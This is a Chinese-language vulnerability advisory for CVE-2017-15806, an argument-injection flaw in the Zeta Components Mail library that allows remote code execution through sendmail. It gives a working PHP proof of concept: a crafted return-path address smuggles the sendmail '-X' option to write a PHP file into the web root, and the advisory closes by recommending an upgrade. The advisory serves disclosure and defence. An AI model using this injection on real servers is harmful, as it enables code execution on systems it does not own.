厂商:Zeta Components

模块:Mail, <= 1.8.1

类型:远程代码执行漏洞

发布时间:2017/11/12

作者:Kay

CVE-2017-15806

概览

Zeta Components是一个基于PHP 5实现的高质量的、通用的应用程序开发库,该项目于2010年5月加入Apache Incubator,但因为某些原因于2012年4月离开了Apache软件基金会。我们在Mail库中发现一个RCE(Remote Code Execution,远程代码执行)漏洞,可实现在服务器上执行任意代码。

细节

该漏洞位于ezcMailMtaTransport类中的send函数。

在 /src/transports/mta/mta_transport.php 的73行, send() 函数调用 PHP mail() 来发送邮件, 一般来说,PHP会使用sendmail作为默认的MTA. 当mail()函数被调用的时候,它的第五个参数是$additionalParameters,这个参数允许向sendmail传入额外的参数。在Mail中,给$additionalParameters赋值的代码如下所示:

$additionalParameters = "-f{$mail->returnPath->email}”;

如果攻击者传入的邮箱地址是这样:

'[email protected] -X/var/www/html/cache/exploit.php'

然后再把payload放在邮件正文中,sendmail会把日志写入到/var/www/html/cache/exploit.php中(向sendmail传入-Xlogfile,会写入日志到logfile)。这就导致该文件会包含邮件正文中的payload,通过远程访问 #域名#/cache/exploit.php就能够执行payload。

总的来说,该漏洞利用需要满足以下三个条件:

  1. 使用ezcMailMtaTransport

  2. 使用sendmail作为MTA

  3. 对ezcMailAddress未做正确转义。

PoC use Mailmail; $mail = new ezcMail(); $mail->returnPath = new ezcMailAddress('[email protected] -X/var/www/html/cache/exploit.php'); $mail->addTo( new ezcMailAddress('some one')); $mail->subject = "Mail PoC Exploit"; $mail->body = new ezcMailText("<?php phpinfo(); ?>"); $transport = new ezcMailMtaTransport(); $transport->send($mail); 建议

厂商已发布修复补丁,建议升级Mail到1.8.2